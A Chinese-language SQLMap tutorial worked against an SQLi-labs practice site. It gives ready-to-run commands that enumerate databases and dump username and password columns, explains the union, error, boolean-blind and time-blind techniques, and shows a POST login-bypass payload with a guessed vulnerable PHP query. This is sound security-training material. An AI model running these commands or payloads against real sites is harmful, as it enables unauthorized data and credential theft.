工具介绍
SQLMap特点:
- Python开源项目
- 全球最强大的SQL注入工具
- 支持多种数据库和注入类型
- 推荐在Linux/Kali环境使用
基础用法
1. 获取数据库名
bash
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" --dbs
参数说明:
-u:目标URL--dbs:枚举所有数据库
2. 获取表名
bash
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security --tables
参数说明:
-D security:指定数据库名--tables:枚举表名
3. 获取列名
bash
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security -T users --columns
参数说明:
-T users:指定表名--columns:枚举列名
4. 导出数据
bash
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security -T users -C username,password --dump
参数说明:
-C username,password:指定列名--dump:导出数据
高级参数
完整命令格式
bash
sqlmap -u [目标URL] --dbs --batch --threads 10 --technique U
参数详解:
--batch:自动选择默认选项,无需手动确认--threads 10:使用10个线程(加快扫描速度)--technique U:指定注入技术类型
注入技术类型(TECHNIQUE)
U - UNION查询注入
最常用、最快速的注入方式
bash
sqlmap -u [URL] --current-db --batch --threads 10 --technique U
特点:
- 需要能显示数据
- 速度最快
- 结果最直观
E - 报错注入(Error-based)
适用场景:无法找到显示位,但数据库错误会显示
bash
sqlmap -u [URL] --current-db --batch --threads 10 --technique E
原理:
- 通过构造特殊语句触发数据库报错
- 在报错信息中包含查询结果
- 对应靶场Less-5
B - 布尔盲注(Boolean-based)
适用场景:页面只有"有内容"和"无内容"两种状态
bash
sqlmap -u [URL] --current-db --batch --threads 10 --technique B
原理:
- 通过构造条件判断语句
- 根据页面是否显示内容判断真假
- 逐位猜解数据
- 对应靶场Less-8
T - 时间盲注(Time-based)
适用场景:页面无任何显示差异
bash
sqlmap -u [URL] --current-db --batch --threads 10 --technique T -v 3
原理:
- 利用SLEEP()等函数延迟响应
- 通过响应时间判断条件真假
- 最慢但最隐蔽的方式
-v 3:显示详细调试信息
速度对比:
U (最快) > E > B > T (最慢)
POST型注入
漏洞识别
靶场环境:Less-11
测试步骤:
- 在登录表单输入:
admin1 - 点击Submit提交
- 使用Burp Suite抓包
- 在用户名后添加
'或\测试
判断注入点:
username: admin1'
password: admin1
如果报错,说明存在注入。
后端代码推测
php
<?php
$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
$sql = "SELECT username, password FROM users
WHERE username='$uname' AND password='$passwd'
LIMIT 0,1";
?>
POST注入注释符 :使用#(井号)
测试Payload:
username: admin1'#
password: 任意值
SQLMap POST注入
基本语法
bash
sqlmap -u [目标URL] --data "uname=admin1*&passwd=admin1&submit=Submit" --current-db --batch --threads 10 --technique U
关键参数:
--data:POST数据*:标记注入点(告诉SQLMap测试这个参数)
实战命令示例
UNION注入:
bash
sqlmap -u "http://sqlilabs.njhack.xyz/Less-11/" \
--data "uname=admin1*&passwd=admin1&submit=Submit" \
--current-db --batch --threads 10 --technique U
报错注入:
bash
sqlmap -u "http://sqlilabs.njhack.xyz/Less-11/" \
--data "uname=admin*&passwd=admin&submit=Submit" \
--current-db --batch --threads 10 --technique E
数据获取流程:
- 抓取POST数据包
- 复制POST数据体(最后一行)
- 用双引号包裹
- 在注入点位置添加
*号 - 执行SQLMap命令